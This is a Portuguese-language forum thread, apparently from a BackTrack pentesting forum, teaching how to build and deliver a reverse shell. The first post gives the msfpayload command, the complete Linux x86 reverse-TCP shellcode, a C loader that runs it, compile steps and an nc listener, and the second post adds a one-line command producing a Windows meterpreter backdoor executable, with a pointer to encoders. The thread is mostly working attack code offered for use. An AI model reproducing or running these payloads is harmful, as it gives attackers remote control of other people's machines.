Results 1 to 3 of 3

Thread: msfpayload linux shell reverso

  1. #1
    Good friend of the forums spawn's Avatar
    Join Date
    Jan 2010
    Posts
    280

    Default msfpayload linux shell reverso

    bt ~ # /pentest/exploits/framework3/msfpayload linux/x86/shell_reverse_tcp LHOST=172.16.123.1 LPORT=5050 C

    a saida sera algo assim:

    /*
    * linux/x86/shell_reverse_tcp - 71 bytes
    * Penetration Testing | The Metasploit Project
    * AutoRunScript=, LHOST=172.16.123.1, AppendExit=false,
    * PrependChrootBreak=false, PrependSetresuid=false,
    * InitialAutoRunScript=, PrependSetuid=false, LPORT=5050,
    * ReverseConnectRetries=5, PrependSetreuid=false
    */
    unsigned char buf[] =
    "\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\ x66\xcd\x80"
    "\x5b\x5e\x68\xac\x10\x7b\x01\x66\x68\x13\xba\x66\ x53\x6a\x10"
    "\x51\x50\x89\xe1\x43\x6a\x66\x58\xcd\x80\x59\x87\ xd9\xb0\x3f"
    "\xcd\x80\x49\x79\xf9\x50\x68\x2f\x2f\x73\x68\x68\ x2f\x62\x69"
    "\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80" ;

    copiaremos apenas de "unsigned" ate ";"

    agora abra um arquivo com seu editor preferido e deixe o arquivo assim:

    Ex:
    bt ~# vi reverso.c

    unsigned char buf[] =
    "\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\ x66\xcd\x80"
    "\x5b\x5e\x68\xac\x10\x7b\x01\x66\x68\x13\xba\x66\ x53\x6a\x10"
    "\x51\x50\x89\xe1\x43\x6a\x66\x58\xcd\x80\x59\x87\ xd9\xb0\x3f"
    "\xcd\x80\x49\x79\xf9\x50\x68\x2f\x2f\x73\x68\x68\ x2f\x62\x69"
    "\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80" ;

    int main(int argc, char **argv)
    {
    int (*funct)();
    funct = (int (*)()) buf;
    (int)(*funct)();
    }

    salve o arquivo e compile

    bt ~ # gcc -o conecta reverso.c

    envie o arquivo conecta para uma outra maquina linux

    e ainda no bt

    bt ~ # nc -l -p 5050

    na outra maquina linux execute o arquivo conecta

    voila ... onde vc executou o comando nc, experimente digitar o comando ls

    temos o shell da maquina "bt2"

    [] 's

  2. #2
    Senior Member Bhior's Avatar
    Join Date
    Apr 2010
    Posts
    152

    Default Re: msfpayload linux shell reverso

    Parabéns mano, grande tuto

    se alguém querer fazer um para windows (backdoor)...

    root@bt:~# ./msfpayload windows/meterpreter/reverse_tcp LHOST=xxx.xxx.xxx.xx LPORT=4455 X > bhior.exe

    Mais alguns encoder...
    hxxp://www.metasploit.com/modules/encoder

    Ou no console do metasploit "show encoders"

    Cumpx []'
    Last edited by Bhior; 06-24-2010 at 10:40 AM.

  3. #3
    Moderator santiagocyl's Avatar
    Join Date
    Jun 2010
    Location
    127.0.0.1
    Posts
    86

    Default Re: msfpayload linux shell reverso

    Bom tutorial. Só faltou um pouco mais de formatação. Traduzi um tópico do fórum americano que pode ajudar.

Similar Threads

  1. Replies: 5
    Last Post: 01-13-2010, 07:06 AM
  2. msfpayload/msfencode
    By spawn in forum OLD Pentesting
    Replies: 4
    Last Post: 10-02-2009, 01:53 PM
  3. msfpayload
    By imported_the_fulton in forum OLD BackTrack 4 Bugs and Fixes
    Replies: 4
    Last Post: 07-02-2009, 05:16 AM
  4. Some Questions about msfpayload/Meterpreter
    By Cyclone in forum OLD Pentesting
    Replies: 4
    Last Post: 05-06-2009, 02:16 PM
  5. Linux Bind Shell Question
    By Pako_Guitar in forum OLD Pentesting
    Replies: 2
    Last Post: 05-28-2008, 06:06 AM

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts
  •